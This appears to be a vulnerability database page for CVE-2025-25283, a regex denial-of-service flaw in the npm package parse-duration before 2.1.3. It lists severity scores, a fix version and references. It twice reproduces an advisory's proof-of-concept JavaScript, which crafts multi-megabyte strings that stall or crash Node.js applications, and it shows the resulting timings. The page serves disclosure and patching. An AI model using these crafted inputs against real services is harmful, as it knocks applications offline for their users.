CVE-2025-25283
parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory
parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used 7.5
parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory
parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
- Record
CVE-2025-25283- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2025-4098 7.5
parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
- Record
EUVD-2025-4098- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-hcrg-fc28-fcg5 7.5
parse-duration has a Regex Denial of Service that results in event loop delay and out of memory
Summary
This report finds 2 availability issues due to the regex used in the parse-duration npm package:
- An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
- An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
// Vulnerable regex to use from the library:
import parse from './index.js'
function generateStressTestString(length, decimalProbability) {
let result = "";
for (let i = 0; i < length; i++) {
if (Math.random() < decimalProbability) {
result += "....".repeat(99);
}
result += Math.floor(Math.random() * 10);
}
return result;
}
function getStringSizeInMB_UTF8(str) {
const sizeInBytes = Buffer.byteLength(str, 'utf8');
const sizeInMB = sizeInBytes / (1024 * 1024);
return sizeInMB;
}
// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
function testRegex(str) {
const startTime = performance.now();
// one of the regex's used in the library:
// const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
// const match = durationRE.test(str);
// but we will use the exported library code directly:
const match = parse(str);
const endTime = performance.now();
const timeTaken = endTime - startTime;
return { timeTaken, match };
}
// Test the long strings:
let result = {}
{
console.log(
`\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
);
result = testRegex(longString1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
);
result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
);
result = testRegex(longStringVar1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
);
result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
);
result = testRegex(longStringVar2);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
The results of this on the cloud machine that I ran this on are as follows:
@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js
Regex test on string of length 6320 (size: 0.01 MB):
matched: 5997140778.000855, time taken: 0.9271340000000237ms
Regex test on string of length 3561724 (size: 3.40 MB):
matched: 0.0006004999999999999, time taken: 728.7693149999999ms
Regex test on string of length 4575003 (size: 4.36 MB):
matched: null, time taken: 43.713984999999866ms
Regex test on string…
- Record
GHSA-hcrg-fc28-fcg5- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD 7.5
parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
- Record
CVE-2025-25283- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV 7.5
parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory
parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.
- Record
CVE-2025-25283- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVGHSA-hcrg-fc28-fcg5 7.5
parse-duration has a Regex Denial of Service that results in event loop delay and out of memory
Summary
This report finds 2 availability issues due to the regex used in the parse-duration npm package:
- An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
- An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
// Vulnerable regex to use from the library:
import parse from './index.js'
function generateStressTestString(length, decimalProbability) {
let result = "";
for (let i = 0; i < length; i++) {
if (Math.random() < decimalProbability) {
result += "....".repeat(99);
}
result += Math.floor(Math.random() * 10);
}
return result;
}
function getStringSizeInMB_UTF8(str) {
const sizeInBytes = Buffer.byteLength(str, 'utf8');
const sizeInMB = sizeInBytes / (1024 * 1024);
return sizeInMB;
}
// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
function testRegex(str) {
const startTime = performance.now();
// one of the regex's used in the library:
// const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
// const match = durationRE.test(str);
// but we will use the exported library code directly:
const match = parse(str);
const endTime = performance.now();
const timeTaken = endTime - startTime;
return { timeTaken, match };
}
// Test the long strings:
let result = {}
{
console.log(
`\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
);
result = testRegex(longString1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
);
result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
);
result = testRegex(longStringVar1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
);
result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
);
result = testRegex(longStringVar2);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
The results of this on the cloud machine that I ran this on are as follows:
@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js
Regex test on string of length 6320 (size: 0.01 MB):
matched: 5997140778.000855, time taken: 0.9271340000000237ms
Regex test on string of length 3561724 (size: 3.40 MB):
matched: 0.0006004999999999999, time taken: 728.7693149999999ms
Regex test on string of length 4575003 (size: 4.36 MB):
matched: null, time taken: 43.713984999999866ms
Regex test on string…
- Record
GHSA-hcrg-fc28-fcg5- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
parse-durationnpm | before 2.1.3 | 2.1.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-25283 is a high vulnerability (CVSS 7.5) in Jkroso Parse-duration, published February 12, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.77%, the 56th percentile. Fixed in parse-duration 2.1.3.
References
github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5
github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7
github.com/jkroso/parse-duration/releases/tag/v2.1.3
nvd.nist.gov/vuln/detail/CVE-2025-25283
github.com/advisories/GHSA-hcrg-fc28-fcg5
github.com/CVEProject/cvelistV5/tree/main/cves/2025/25xxx/CVE-2025-25283.json
github.com/jkroso/parse-duration
Left out here: the rest of 2 source descriptions. The JSON record has them.